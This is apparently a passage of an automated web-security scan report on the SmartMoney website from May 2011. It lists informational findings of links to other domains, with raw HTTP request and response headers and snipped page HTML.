http://s.wsj.net/public/resources/images/PF-AA414_smsilv_C_20110422160444.jpg
http://s.wsj.net/public/resources/images/PF-AA417_smstoc_A_20110425174155.jpg
http://s.wsj.net/public/resources/images/PF-AA417_smstoc_C_20110425174155.jpg
http://s.wsj.net/public/resources/images/PF-AA419_smbarb_C_20110425182533.jpg
http://s.wsj.net/public/resources/images/PF-AA426_smself_A_20110427124432.jpg
http://s.wsj.net/public/resources/images/PF-AA426_smself_C_20110427124432.jpg
http://s.wsj.net/public/resources/images/PF-AA433_sm0428_A_20110428131857.jpg
http://s.wsj.net/public/resources/images/PF-AA443_smbinl_C_20110502120143.jpg
http://s.wsj.net/public/resources/images/PF-AA446_smreti_C_20110503105412.jpg
http://s.wsj.net/public/resources/images/PF-AA452_smgold_A_20110504172438.jpg
http://s.wsj.net/public/resources/images/PF-AA456_smonli_C_20110505150702.jpg
http://s.wsj.net/public/resources/images/PF-AA472_smalls_E_20110506153157.jpg
http://s.wsj.net/public/resources/images/PF-AA483_smbrai_C_20110506181125.jpg
http://s.wsj.net/public/resources/images/PF-AA486_smairp_C_20110507150435.jpg
http://s.wsj.net/public/resources/images/PF-AA498_smrede_A_20110510155004.jpg
http://s.wsj.net/public/resources/images/PF-AA499_smshow_A_20110511113138.jpg
http://s.wsj.net/public/resources/images/PF-AA501_smatto_A_20110511152839.jpg
http://s.wsj.net/public/resources/images/PF-AA504_smnasd_A_20110512111125.jpg
http://s.wsj.net/public/resources/images/PF-AA506_smetfi_C_20110512175730.jpg
http://sales-jobs.fins.com/
http://twitter.com/smartmoney
http://vse.marketwatch.com/Game/Homepage.aspx
http://vse.marketwatch.com/Game/Homepage.aspx?link=SM_footer
http://wsjdn.wsj.com/
http://wsjradio.com/?link=SM_footer
http://www.djreprints.com/?link=SM_footer
http://www.dowjones.com/?link=SM_footer
http://www.facebook.com/SmartMoney
http://www.fins.com/?link=SM_footer
http://www.fins.com/Finance/
http://www.fins.com/finance/
http://www.marketwatch.com/
http://www.marketwatch.com/?link=SM_footer
http://www.marketwatch.com/Story/Story/?guid={3FDD0524-7D69-11E0-915A-00212804637C}
http://www.marketwatch.com/Story/Story/?guid={E5CE7164-7D66-11E0-915A-00212804637C}
http://www.marketwatch.com/Story/Story/?guid={ECB0A286-7C8A-11E0-915A-00212804637C}
http://www.marketwatch.com/Story/Story/?guid={FA107EE2-7CAD-11E0-915A-00212804637C}
http://www.marketwatch.com/Story/Story/?guid={FCA808E6-7CA8-11E0-915A-00212804637C}
http://www.marketwatch.com/Story/Story/?guid={FE2CF15A-7C93-11E0-915A-00212804637C}
http://www.wsjlocal.com/?link=SM_footer
http://www.wsjmediakit.com/smartmoney/?link=SM_footer
http://www.wsjradio.com/
http://www.wsjwine.com/
https://buy.wsj.com/shopandbuy/order/subscribe.jsp?trackCode=aaagnmhw
https://w1.buysub.com/pubs/D4/SMY/85110_Email_HS.jsp?cds_page_id=85110&cds_mag_code=SMY&id=1299181485630&lsid=10621344456047929&vid=1&cds_response_key=IEBWSDAB&mod=wsjoffers_sm$1
https://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDFGODAD
https://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDFGODAE
https://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDLGODAA

Request

GET /?zone=intromessage HTTP/1.1
Host: www.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/static_html_files/smartmoney/smIntro.html?page=http://www.smartmoney.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f; smintromsg1=true; smintromsg1e=true

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:18:33 GMT
Server: Apache/2.2.3 (Red Hat)
X-DEBUG-BOX-IDENT: sbkj2ksmwap01
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.5-2-x64
X-DEBUG-REQUEST: /?zone=intromessage
X-DEBUG-NAMESPACE: com-sm
FastDynaPage-ServerInfo: sbkj2ksmwap01 - Sat 05/14/11 - 06:03:15 EDT
Last-Modified: Sat, 14 May 2011 10:03:15 GMT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:18:48 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Length: 105161
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.faceboo
...[SNIP]...
</script>

<script type="text/javascript" src="http://c.wsj.net/static/hat/hat3.js"></script>
...[SNIP]...
<link rel="shortcut icon" href="/favicon.ico" />

<link rel="stylesheet" href="http://c.wsj.net/static/hat/hat3.css?version=25" type="text/css" />
<link rel="stylesheet" href="http://sc.smartmoney.net/smstyle/2/std/0_0_SH_0001-20110512235911.css" type="text/css" />
...[SNIP]...
<noscript>
<iframe src="http://fls.doubleclick.net/activityi;src=490793;type=smart929;cat=smart430;ord=1?" width="1" height="1" frameborder="0" style="display:none"></iframe>
...[SNIP]...
<div style="width: 990px; height: 35px; z-index: 999999; position: relative;" class="hat_smreno subType-subscribed" id="hat_div">
   <a href="http://wsjdn.wsj.com/"><div id="hat_logo">
...[SNIP]...
<li class="hat_tab" id="hat_tab1" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
           <a onClick="track('WSJ')" href="http://online.wsj.com/home" id="hat_link1"></a>
       </li>
       <li class="hat_tab" id="hat_tab2" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
           <a onClick="track('MW')" href="http://www.marketwatch.com" id="hat_link2"></a>
       </li>
       <li class="hat_tab" id="hat_tab3" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
           <a onClick="track('BOL')" href="http://online.barrons.com/home" id="hat_link3"></a>
       </li>
       <li class="hat_tab" id="hat_tab4" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
           <a onClick="track('ATD')" href="http://allthingsd.com" id="hat_link4"></a>
       </li>
       <li class="hat_tab" id="hat_tab6" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
           <a onClick="track('FINS')" href="http://www.fins.com/Finance/" id="hat_link6"></a>
...[SNIP]...
<li id="hat_more1" class="hat_drop_item" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://bigcharts.marketwatch.com/" onclick="hat.track('BC')">BigCharts</a>
...[SNIP]...
<li id="hat_more2" class="hat_drop_item" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://vse.marketwatch.com/Game/Homepage.aspx" onclick="hat.track('VSE')">Virtual Stock Exchange</a>
...[SNIP]...
<li id="hat_more3" class="hat_drop_item" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://asia.wsj.com/" onclick="hat.track('ASIA')">WSJ Asia</a>
...[SNIP]...
<li id="hat_more4" class="hat_drop_item" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://europe.wsj.com/" onclick="hat.track('EUR')">WSJ Europe</a>
...[SNIP]...
<li id="hat_more5" class="hat_drop_item" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://online.wsj.com/portuguese" onclick="hat.track('POR')">WSJ Portuguese</a>
...[SNIP]...
<li id="hat_more6" class="hat_drop_item" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://online.wsj.com/americas" onclick="hat.track('SPA')">WSJ Spanish</a>
...[SNIP]...
<li id="hat_more7" class="hat_drop_item" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://cn.wsj.com/gb/index.asp" onclick="hat.track('CHI')">WSJ Chinese</a>
...[SNIP]...
<li id="hat_more8" class="hat_drop_item" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://jp.wsj.com/">WSJ Japanese</a>
...[SNIP]...
<li id="hat_more9" class="hat_drop_item" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://www.wsjradio.com">WSJ Radio</a>
...[SNIP]...
<li id="hat_more10" class="hat_drop_item" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://www.fins.com/Finance/" onclick="hat.track('FNO')">Financial News</a>
...[SNIP]...
<li id="hat_more13" class="hat_drop_item lifestyleItem" onmouseover="hat.menuover(this)" onmouseout="hat.menuout(this)">
                <a href="http://www.wsjwine.com/">WSJ<span>
...[SNIP]...
<a href="http://www.smartmoney.com/spend/real-estate/report-the-housing-crash-is-getting-worse-1305234613824/"><img src="http://s.wsj.net/public/resources/images/PF-AA316_smhous_A_20110325135412.jpg" vspace="0" hspace="0" border="0" alt="[smhouseunderwat]" height="76" width="76" class="thumb"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/invest/stocks/welcome-to-the-new-smartmoneycom-1304713262512/"><img src="http://s.wsj.net/public/resources/images/PF-AA498_smrede_A_20110510155004.jpg" vspace="0" hspace="0" border="0" alt="[smredesign]" height="76" width="76" class="thumb"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/invest/stocks/as-cisco-sputters-other-nasdaq-hits-from-90s-return-1305212738176/"><img src="http://s.wsj.net/public/resources/images/PF-AA504_smnasd_A_20110512111125.jpg" vspace="0" hspace="0" border="0" alt="[smnasdaq]" height="76" width="76" class="thumb"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/invest/stocks/3-stocks-selling-at-a-33-discount-1305063133578/"><img src="http://s.wsj.net/public/resources/images/PF-AA417_smstoc_A_20110425174155.jpg" vspace="0" hspace="0" border="0" alt="[smstockchart]" height="76" width="76" class="thumb"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/invest/bonds/muni-sellers-balk-at-new-disclosures-1305127961790/"><img src="http://s.wsj.net/public/resources/images/PF-AA499_smshow_A_20110511113138.jpg" vspace="0" hspace="0" border="0" alt="[smshowmuni]" height="76" width="76" class="thumb"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/the-4-biggest-risks-to-your-investments-now-1304364651243/"><img src="http://s.wsj.net/public/resources/images/PF-AA121_smcash_A_20110119173326.jpg" vspace="0" hspace="0" border="0" alt="[smcash]" height="76" width="76" class="thumb"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/economy/is-gold-about-to-go-vertical-1304544917543/"><img src="http://s.wsj.net/public/resources/images/PF-AA452_smgold_A_20110504172438.jpg" vspace="0" hspace="0" border="0" alt="[smgoldvert]" height="76" width="76" class="thumb"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/should-your-accountant-be-your-financial-planner-too-1304635380449/"><img src="http://s.wsj.net/public/resources/images/PF-AA128_smbrok_A_20110124173837.jpg" vspace="0" hspace="0" border="0" alt="[smbroker]" height="76" width="76" class="thumb"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/bonds/a-bright-spot-in-bond-market-1304805556948/"><img src="http://s.wsj.net/public/resources/images/PF-AA143_smbond_A_20110201155942.jpg" vspace="0" hspace="0" border="0" alt="[smbonds]" height="76" width="76" class="thumb"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/spending/budgeting/8-ways-to-buy-more-happiness-1304106656857/"><img src="http://s.wsj.net/public/resources/images/PF-AA426_smself_A_20110427124432.jpg" vspace="0" hspace="0" border="0" alt="[smselfworth]" height="76" width="76" class="thumb"/></a>
...[SNIP]...
<li class="subscribe"><a href="https://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDLGODAA">Subscribe</a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/the-stock-markets-allstar-performers-1304622391039/"><img src="http://s.wsj.net/public/resources/images/PF-AA472_smalls_E_20110506153157.jpg" vspace="0" hspace="0" border="0" alt="[smallstar]" height="239" width="359" class="imageFormat-E"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/invest/stocks/3-stocks-the-recovery-has-missed-1305202342000/"><img src="http://s.wsj.net/public/resources/images/PF-AA221_smstoc_A_20110301131459.jpg" vspace="0" hspace="0" border="0" alt="[smstockcharts]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/video/asset/experts-explain-how-to-handle-an-audit/88E57236-5000-4040-AA7B-51F2B34704AE"><img src="http://s.wsj.net/public/resources/images/PF-AA501_smatto_A_20110511152839.jpg" vspace="0" hspace="0" border="0" alt="[smattorney]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/personal-finance/retirement/test-drive-your-retirement-home-1304011789458/"><img src="http://s.wsj.net/public/resources/images/PF-AA433_sm0428_A_20110428131857.jpg" vspace="0" hspace="0" border="0" alt="[sm0428monarch]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/spend/autos/how-to-cash-in-on-rising-usedcar-prices-1304985313634/"><img src="http://s.wsj.net/public/resources/images/PF-AA120_smcarl_A_20110118185508.jpg" vspace="0" hspace="0" border="0" alt="[smcarlot]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/personal-finance/college-planning/new-math-for-college-savings-1303761170170/"><img src="http://s.wsj.net/public/resources/images/PF-AA108_smcoll_A_20110106152545.jpg" vspace="0" hspace="0" border="0" alt="[smcollegefree]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/personal-finance/real-estate/do-you-need-a-buyers-agent-1304523622290/"><img src="http://s.wsj.net/public/resources/images/PF-AA182_smfors_A_20110211153900.jpg" vspace="0" hspace="0" border="0" alt="[smforsalesign]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/spend/real-estate/how-the-8000-tax-credit-cost-home-buyers-15000-1304981110838/"><img src="http://s.wsj.net/public/resources/images/PF-AA267_smhous_A_20110311173506.jpg" vspace="0" hspace="0" border="0" alt="[smhouseunclesam]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/spending/budgeting/how-to-buy-a-higher-iq-1304720009965/"><img src="http://s.wsj.net/public/resources/images/PF-AA483_smbrai_C_20110506181125.jpg" vspace="0" hspace="0" border="0" alt="[smbrainmoney]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/-1303420658026/"><img src="http://s.wsj.net/public/resources/images/PF-AA411_smcrys_C_20110421172725.jpg" vspace="0" hspace="0" border="0" alt="[smcrystalball]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/economy/6-signs-the-silver-market-has-gone-nuts-1303502720960/"><img src="http://s.wsj.net/public/resources/images/PF-AA414_smsilv_C_20110422160444.jpg" vspace="0" hspace="0" border="0" alt="[smsilver]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/5-reasons-brics-are-back-1303831340166/"><img src="http://s.wsj.net/public/resources/images/PF-AA339_smmaps_C_20110401125815.jpg" vspace="0" hspace="0" border="0" alt="[smmapsouthameri]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/what-is-the-value-of-you-1303923204604/"><img src="http://s.wsj.net/public/resources/images/PF-AA426_smself_C_20110427124432.jpg" vspace="0" hspace="0" border="0" alt="[smselfworth]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/3-promising-stocks-priced-below-sales-1303767772049/"><img src="http://s.wsj.net/public/resources/images/PF-AA417_smstoc_C_20110425174155.jpg" vspace="0" hspace="0" border="0" alt="[smstockchart]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/personal-finance/real-estate/mortgage-payoff-is-a-different-investment-1303485485177/"><img src="http://s.wsj.net/public/resources/images/PF-AA182_smfors_C_20110211153900.jpg" vspace="0" hspace="0" border="0" alt="[smforsalesign]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/with-page-can-google-get-groove-back-1303488473137/"><img src="http://s.wsj.net/public/resources/images/PF-AA200_smgoog_C_20110217172742.jpg" vspace="0" hspace="0" border="0" alt="[smgoogle]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/how-to-power-your-portfolio-in-uncertain-markets-1303770354613/"><img src="http://s.wsj.net/public/resources/images/PF-AA419_smbarb_C_20110425182533.jpg" vspace="0" hspace="0" border="0" alt="[smbarbellinvest]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/with-stocks-its-ok-to-a-be-fairweather-fan-1303754450646/"><img src="http://s.wsj.net/public/resources/images/PF-AA323_smstoc_C_20110329172451.jpg" vspace="0" hspace="0" border="0" alt="[smstockchartup]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/5-chinese-companies-to-consider-investing-in-1303403135113/"><img src="http://s.wsj.net/public/resources/images/PF-AA222_smchin_C_20110301152706.jpg" vspace="0" hspace="0" border="0" alt="[smchineseflag]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/personal-finance/real-estate/is-home-ownership-overrated-1304357558340/"><img src="http://s.wsj.net/public/resources/images/PF-AA241_smhome_C_20110307182736.jpg" vspace="0" hspace="0" border="0" alt="[smhomebuyers]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/personal-finance/retirement/is-this-your-brain-on-retirement-1304464494096/"><img src="http://s.wsj.net/public/resources/images/PF-AA446_smreti_C_20110503105412.jpg" vspace="0" hspace="0" border="0" alt="[smretireincome]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/investing/stocks/the-markets-muted-reaction-to-bin-ladens-death-1304356643750/"><img src="http://s.wsj.net/public/resources/images/PF-AA443_smbinl_C_20110502120143.jpg" vspace="0" hspace="0" border="0" alt="[smbinladenstock]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
<a href="http://www.smartmoney.com/video/asset/etfs-hot-among-younger-investors/09C98657-C19C-405C-8211-C7387BA1E366"><img src="http://s.wsj.net/public/resources/images/PF-AA506_smetfi_C_20110512175730.jpg" vspace="0" hspace="0" border="0" alt="[smetfinvest]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<h2>SmartMoney: Number of free checking accounts drops for the first time in nearly a decade <a href="http://bit.ly/meCymY">http://bit.ly/meCymY</a>
...[SNIP]...
<h2>SmartMoney: Percentage of homeowners with a home worth less than its mortgage rockets to 28%, a new crisis high <a href="http://bit.ly/j8XSwF">http://bit.ly/j8XSwF</a>
...[SNIP]...
<li class="facebook"><a href="http://www.facebook.com/SmartMoney"></a></li>
<li class="twitter"><a href="http://twitter.com/smartmoney"></a>
...[SNIP]...
<div class="uppercase bold more">Subscribe To <a href="https://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDFGODAD" class="orange" target="_blank">SmartMoney<div class="arrows">
...[SNIP]...
<h2><a href="http://www.marketwatch.com/Story/Story/?guid={3FDD0524-7D69-11E0-915A-00212804637C}">U.S. consumer sentiment improves in May
</a>
...[SNIP]...
<h2><a href="http://www.marketwatch.com/Story/Story/?guid={E5CE7164-7D66-11E0-915A-00212804637C}">Nvidia, Yahoo lead tech stocks lower
</a>
...[SNIP]...
<h2><a href="http://www.marketwatch.com/Story/Story/?guid={FA107EE2-7CAD-11E0-915A-00212804637C}">CFOs make case for international tax reform
</a>
...[SNIP]...
<h2><a href="http://www.marketwatch.com/Story/Story/?guid={ECB0A286-7C8A-11E0-915A-00212804637C}">Kohl's profit rises, outlook cheers investors
</a>
...[SNIP]...
<h2><a href="http://www.marketwatch.com/Story/Story/?guid={FCA808E6-7CA8-11E0-915A-00212804637C}">U.S. Treasury in no big hurry to unload GM
</a>
...[SNIP]...
<h2><a href="http://www.marketwatch.com/Story/Story/?guid={FE2CF15A-7C93-11E0-915A-00212804637C}">Cisco falls sharply on downbeat profit view
</a>
...[SNIP]...
<div class="smlogo"><img src="http://s.wsj.net/img/sm/SMLogoSm.png" width="170" /></div>
...[SNIP]...
<a href="http://www.smartmoney.com/invest/strategies/the-best-brokers-for-forex-traders-1304970934690/"><img src="http://s.wsj.net/public/resources/images/PF-AA129_smcurr_A_20110124180851.jpg" vspace="0" hspace="0" border="0" alt="[smcurrency]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<li class="offer offer1">
           <a href="https://buy.wsj.com/shopandbuy/order/subscribe.jsp?trackCode=aaagnmhw">
               <img src="/img/smartmoney/WSJ_DigitalBNall_159x82.gif">
...[SNIP]...
<li class="offer offer2">
           <a href="https://w1.buysub.com/pubs/D4/SMY/85110_Email_HS.jsp?cds_page_id=85110&cds_mag_code=SMY&id=1299181485630&lsid=10621344456047929&vid=1&cds_response_key=IEBWSDAB&mod=wsjoffers_sm$1">
               <img src="/img/smartmoney/SM_circoffer0211_3up_159x82.gif">
...[SNIP]...
<a href="http://www.smartmoney.com/invest/stocks/the-2011-broker-survey-and-the-winner-is-1304553695118/"><img src="http://s.wsj.net/public/resources/images/PF-AA456_smonli_C_20110505150702.jpg" vspace="0" hspace="0" border="0" alt="[smonlinetrading]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/spending/travel/10-things-the-tsa-wont-tell-you-1303941489416/"><img src="http://s.wsj.net/public/resources/images/PF-AA486_smairp_C_20110507150435.jpg" vspace="0" hspace="0" border="0" alt="[smairportsecuri]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/personal-finance/retirement/downsizing-boomers-looking-to-sell-their-stuff-1301517395843/"><img src="http://s.wsj.net/public/resources/images/PF-AA329_smmay2_C_20110330162240.jpg" vspace="0" hspace="0" border="0" alt="[smmay2011stuff3]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<a href="http://www.smartmoney.com/spending/for-the-home/3-renovations-worth-the-money-now-1302561618674/"><img src="http://s.wsj.net/public/resources/images/PF-AA340_smmay2_C_20110401134301.jpg" vspace="0" hspace="0" border="0" alt="[smmay2011kitche]" height="94" width="167" class="imageFormat-C"/></a>
...[SNIP]...
<li class="twitter"><a href="http://twitter.com/smartmoney">Twitter</a>
...[SNIP]...
<li class="facebook margin-left"><a href="http://www.facebook.com/SmartMoney">Facebook</a>
...[SNIP]...
<li><a href="https://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDFGODAE" target="_blank">Subscribe to SmartMoney Magazine</a>
...[SNIP]...
<li><a href="http://public.wsj.com/partner/?link=SM_footer" target="_blank">News and Tools Licensing</a>
...[SNIP]...
<li><a href="http://www.wsjmediakit.com/smartmoney/?link=SM_footer" target="_blank">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/?link=SM_footer" target="_blank">Advertise Locally</a>
...[SNIP]...
<li><a href="http://www.dowjones.com/?link=SM_footer" target="_blank">About Dow Jones</a>
...[SNIP]...
<li><a href="http://www.djreprints.com/?link=SM_footer" target="_blank">Reprints</a>
...[SNIP]...
<li><a href="http://customsolutions-aboutus.com/?link=SM_footer" target="_blank">Custom Publishing</a>
...[SNIP]...
<li><a href="http://twitter.com/smartmoney" target="_blank">SmartMoney on Twitter</a>
...[SNIP]...
<li><a href="http://www.facebook.com/SmartMoney" target="_blank">SmartMoney on Facebook</a>
...[SNIP]...
<li><a href="http://online.wsj.com?link=SM_footer" target="_blank">WSJ.com</a>
...[SNIP]...
<li><a href="http://www.marketwatch.com?link=SM_footer" target="_blank">MarketWatch.com</a>
...[SNIP]...
<li><a href="http://online.barrons.com?link=SM_footer" target="_blank">Barrons.com</a>
...[SNIP]...
<li><a href="http://allthingsd.com/?link=SM_footer" target="_blank">AllThingsD.com</a>
...[SNIP]...
<li><a href="http://www.fins.com/?link=SM_footer" target="_blank">FINS:</a> <a href="http://www.fins.com/finance/" target="_blank">Finance,</a> <a href="http://it-jobs.fins.com/" target="_blank">IT jobs,</a> <a href="http://sales-jobs.fins.com/" target="_blank">Sales jobs</a>
...[SNIP]...
<li><a href="http://bigcharts.marketwatch.com/?link=SM_footer" target="_blank">BigCharts.com</a>
...[SNIP]...
<li><a href="http://vse.marketwatch.com/Game/Homepage.aspx?link=SM_footer" target="_blank">Virtual Stock Exchange</a>
...[SNIP]...
<li><a href="http://wsjradio.com?link=SM_footer" target="_blank">WSJ Radio</a>
...[SNIP]...
<li><a href="http://professor.wsj.com/?link=SM_footer" target="_blank">ProfessorJournal.com</a>
...[SNIP]...
<li><a href="http://online.wsj.com/home-page?link=SM_footer" target="_blank">WSJ U.S. Edition</a>
...[SNIP]...
<li><a href="http://asia.wsj.com/home-page?link=SM_footer" target="_blank">WSJ Asia Edition</a>
...[SNIP]...
<li><a href="http://europe.wsj.com/home-page?link=SM_footer" target="_blank">WSJ Europe Edition</a>
...[SNIP]...
<li><a href="http://india.wsj.com/home-page?link=SM_footer" target="_blank">WSJ India Page</a>
...[SNIP]...
<li><a href="http://cn.wsj.com/gb/index.asp?link=SM_footer" target="_blank">WSJ Chinese</a>
...[SNIP]...
<li><a href="http://jp.wsj.com/?link=SM_footer" target="_blank">WSJ Japanese</a>
...[SNIP]...
<li><a href="http://online.wsj.com/portuguese?link=SM_footer" target="_blank">WSJ Portuguese</a>
...[SNIP]...
<li><a href="http://online.wsj.com/americas?link=SM_footer" target="_blank">WSJ Spanish</a>
...[SNIP]...

19.151. http://www.smartmoney.com/public/npage/0_0_SN_ArticleNews-Invest.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/public/npage/0_0_SN_ArticleNews-Invest.html

Issue detail

The page was loaded from a URL containing a query string:

http://www.smartmoney.com/public/npage/0_0_SN_ArticleNews-Invest.html?_=1305368029768

The response contains the following links to other domains:

http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
http://online.wsj.com/article/SB10001424052748703730804576317433897512992.html
http://online.wsj.com/article/SB10001424052748704681904576317351118089000.html
http://online.wsj.com/article/SB10001424052748704681904576317364107515614.html
http://online.wsj.com/article/SB10001424052748704681904576317592961916516.html
http://online.wsj.com/article/SB10001424052748704681904576319300658538160.html
http://online.wsj.com/article/SB10001424052748704681904576319451014552580.html
http://online.wsj.com/article/SB10001424052748704681904576321550230318740.html

Request

GET /public/npage/0_0_SN_ArticleNews-Invest.html?_=1305368029768 HTTP/1.1
Host: www.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f; smintromsg1=true; smintromsg1e=true; __utmz=205638161.1305368018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vnum=1307960020151%26vn%3D1; s_dbfe=1305368020152; s_cc=true; s_invisit=true; s_sq=djglobal%2Cdjsm%3D%2526pid%253DSM_Home%252520Page_0_0_SH_0001%2526pidt%253D1%2526oid%253Dhttp%25253A//www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/%2526ot%253DA; __utma=205638161.1117820965.1305368018.1305368018.1305368018.1; __utmc=205638161; __utmb=205638161.2.10.1305368018

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:19:52 GMT
Server: Apache-Coyote/1.1
X-DEBUG-BOX-IDENT: sbkj2ksmwap03
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.5-2-x64
X-DEBUG-REQUEST: /public/npage/0_0_SN_ArticleNews-Invest.html?_=1305368029768
X-DEBUG-NAMESPACE: com-sm
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:20:07 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 3091

<div id="ArticleNewsReel" class="margin-left-big margin-right-big">


<div class="newsreel newsreel_full
...[SNIP]...
<h2> <a href="http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html" >This Week: Blue Chips Weaken and Pri....</a>
